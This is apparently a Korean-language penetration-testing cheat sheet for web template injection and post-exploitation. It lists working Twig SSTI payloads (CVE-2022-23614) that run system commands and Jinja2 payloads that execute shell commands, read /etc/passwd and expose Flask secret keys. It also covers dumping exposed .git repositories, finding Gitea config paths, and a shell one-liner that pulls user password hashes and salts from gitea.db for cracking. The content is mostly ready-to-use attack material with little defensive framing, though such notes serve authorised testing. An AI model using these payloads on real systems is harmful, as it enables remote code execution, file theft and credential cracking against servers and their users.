Twig SSTI RCE (CVE-2022-23614)

Affected Versions

2.0.0 <= twig < 2.14.11
3.0.0 <= twig < 3.3.8

Payload

{{ ["id",""]|sort('system') }}
 
{{ ["id",""]|sort('passthru') }}
 
{{ ["id",""]|sort('exec') }}
...
  • 취약한 버전의 Twig를 사용하는 웹서버의 인풋 가능한 곳에 값을 입력해 RCE 시도
  • Twig가 샌드박스 모드 SecurityPolicy를 켜고 있을때 의미 있음. 샌드박스모드가 아닌 경우 좀 더 넓은 범위의 페이로드가 동작할 수 있음.
{{ ['whoami']|filter('system') }}
{{ ['whoami','']|sort('system') }}
 
sort / filter / map / _self / attribute() 등...

Twig에 file_excerpt 함수가 등록되어 있을 때

# 파일 읽기 (LFI)
{{ "/etc/passwd"|file_excerpt(1,-1) }}
  • 설정 미흡으로 발생하는 취약점.

Jinja2 SSTI

# os.popen으로 명령 실행 → RCE 
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} 
 
# open()으로 파일 직접 읽기 → LFI 
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
 
# Flask/Jinja2 config 객체 노출 → 정보수집 (SECRET_KEY 등)
{{ config.items() }}
  • Jinja2(python)의 버전과는 무관하며, SandboxedEnvironment를 활성화해야 방어됨

노출된 Composer 등에서 패키지 및 버전 확인

cat composer.lock | jq '.packages[] | "\(.name):\(.version)"'
 
# find cve
osv-scanner -L composer.lock

.git이 노출된 경우 (스테이지까지 확인하기)

# 덤프
git-dumper http://target.local/.git/ ./src
 
# 데이터 확인
git log
git show <commit>
git diff <commit1> <commit2>
 
# 스테이지까지 확인
git status
git restore --staged . && git diff

Spring Boot dirbuster 워드리스트

/usr/share/seclists/Discovery/Web-Content/spring-boot.txt
  • kali에 기본적으로 존재하지 않음. (따로 다운로드)
  • 404 error 등에서 Spring Boot인걸 알았을때 사용하면 유용

gitea

gitea config path (app.ini)

# docker
[Gitea_Path]/data/gitea/conf/app.ini
  # docker-compose.yml에서 확인된 data경로
  /home/developer/gitea/data:/data
  /home/developer/gitea/data/gitea/conf/app.ini
 
# Linux Package / Service Installations
/etc/gitea/app.ini
 
# Environment Variable Override
$GITEA_CUSTOM/conf/app.ini
 
# Umbrel Ecosystem
~/umbrel/app-data/gitea/data/gitea/config/app.ini

gitea hash cracking

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes